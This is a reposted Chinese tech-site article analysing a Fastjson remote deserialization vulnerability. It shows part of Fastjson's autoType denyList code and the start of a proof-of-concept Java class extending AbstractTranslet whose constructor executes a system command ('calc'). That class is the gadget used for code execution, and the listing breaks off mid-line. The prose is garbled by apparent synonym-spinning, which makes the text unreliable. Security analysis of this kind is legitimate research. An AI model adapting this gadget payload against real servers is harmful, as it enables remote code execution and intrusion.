作家
登录

Fastjson远程反序列化程序验证的构造和分析

作者: 来源: 2017-05-04 20:57:11 阅读 我要评论

  •                     throw new JSONException("autoType is not support. " + typeName); 
  •                 } 
  •             } 
  •         } 
  •   
  •         Class<?> clazz = TypeUtils.getClassFromMapping(typeName); 
  •         if (clazz == null) { 
  •             clazz = deserializers.findClass(typeName); 
  •         } 
  •   
  •         if (clazz != null) { 
  •             if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { 
  •                 throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); 
  •             } 
  •   
  •             return clazz; 
  •         } 
  • 核心部分就是denyList的处理过程,遍历denyList,如不雅惹人的库以denyList中某个deny打头,就会抛出异常,中断运行。

    下面是一个法度榜样验证的代码:

    1. import com.sun.org.apache.xalan.internal.xsltc.DOM; 
    2. import com.sun.org.apache.xalan.internal.xsltc.TransletException; 
    3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 
    4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 
    5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 
    6.   
    7. import java.io.IOException; 
    8.   
    9. public class Test extends AbstractTranslet { 
    10.     public Test() throws IOException { 
    11.         Runtime.getRuntime().exec("calc"); 
    12.     } 
    13.   
    14.     @Override 
    15.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { 
    16.     } 
    17.   
    18.     @Override 
    19.     public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { 
    20.   
    21.     } 
    22.   
    23.     public static

        推荐阅读

        提高Linux安全性:14项检查建立安全的Linux服务器

      1. 记录主机信息每当您正在应用新的Linux主机进行安然加强时,您须要创建一个文档并记录本文档中列出的项目,工作完成后,您将须要检查这些项目。别的,在开端时该文档,您须要记录有关Li>>>详细阅读


      本文标题:Fastjson远程反序列化程序验证的构造和分析

      地址:http://www.17bianji.com/lsqh/35009.html

    关键词: 探索发现

    乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

    网友点评
    自媒体专栏

    评论

    热度

    精彩导读
    栏目ID=71的表不存在(操作类型=0)